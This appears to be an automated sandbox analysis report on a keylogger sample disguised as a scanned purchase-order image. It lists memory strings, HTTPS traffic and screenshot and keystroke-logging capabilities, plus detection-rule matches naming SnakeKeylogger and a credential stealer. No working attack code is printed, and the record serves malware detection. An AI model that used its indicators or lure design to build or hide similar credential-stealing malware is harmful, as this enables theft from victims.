Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D50000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C5F000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D50000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.81
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C5F000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.81$
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2C000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.00000000040A5000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F82000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003FD0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C7E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E22000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCC000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F45000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CF3000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F88000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DE4000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F5D000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DB9000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2E000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000004081000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003DFD000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E28000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C59000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F20000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2C000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.00000000040A5000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F82000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003FD0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C7E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E22000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCC000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F45000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CF3000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F88000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DE4000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F5D000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DB9000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2E000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000004081000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003DFD000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E28000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C59000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F20000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, HJnkiZjAPsec.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EEF000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49778 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, COVID19.cs

.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, COVID19.cs

.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

.NET source code contains very large array initializations

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, formAwesomeness.cs	Large array initialization: : array initializer size 684547
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, Program.cs	Large array initialization: Program: array initializer size 4956

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A7244 NtQueryInformationProcess,		8_2_085A7244
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AB220 NtQueryInformationProcess,		8_2_085AB220

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_056832E0	0_2_056832E0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_056832D0	0_2_056832D0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_05683287	0_2_05683287
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_056808D4	0_2_056808D4
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C4410	0_2_0C1C4410
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1CC128	0_2_0C1CC128
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C4C80	0_2_0C1C4C80
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C6658	0_2_0C1C6658
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C4848	0_2_0C1C4848
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C68B8	0_2_0C1C68B8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C50B8	0_2_0C1C50B8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C50A8	0_2_0C1C50A8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C68A7	0_2_0C1C68A7
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_01227118	6_2_01227118
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122C146	6_2_0122C146
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122A088	6_2_0122A088
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_01225370	6_2_01225370
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122D278	6_2_0122D278
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122C468	6_2_0122C468
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122C738	6_2_0122C738
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_012269A0	6_2_012269A0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122E988	6_2_0122E988
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122CA08	6_2_0122CA08
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122CCD8	6_2_0122CCD8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122CFAA	6_2_0122CFAA
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_01223E09	6_2_01223E09
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122F961	6_2_0122F961
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0122E97A	6_2_0122E97A
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_012239EE	6_2_012239EE
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_012229EC	6_2_012229EC
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_01223AA1	6_2_01223AA1
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06911E80	6_2_06911E80
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_069117A0	6_2_069117A0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06919C18	6_2_06919C18
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691FC68	6_2_0691FC68
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06910B30	6_2_06910B30
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06919328	6_2_06919328
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06915028	6_2_06915028
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06912968	6_2_06912968
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691E6B0	6_2_0691E6B0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691E6A0	6_2_0691E6A0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691DE00	6_2_0691DE00
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06911E70	6_2_06911E70
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691178F	6_2_0691178F
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691EF51	6_2_0691EF51
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691EF60	6_2_0691EF60
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691CCA0	6_2_0691CCA0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691DDFF	6_2_0691DDFF
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D550	6_2_0691D550
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D540	6_2_0691D540
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06919548	6_2_06919548
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691EAF8	6_2_0691EAF8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691E258	6_2_0691E258
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691E24B	6_2_0691E24B
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691F3B8	6_2_0691F3B8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06918BA0	6_2_06918BA0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691EB08	6_2_0691EB08
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06910B20	6_2_06910B20
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D0F8	6_2_0691D0F8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D0E9	6_2_0691D0E9
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691F810	6_2_0691F810
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06915018	6_2_06915018
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691F803	6_2_0691F803
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06910006	6_2_06910006
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06910040	6_2_06910040
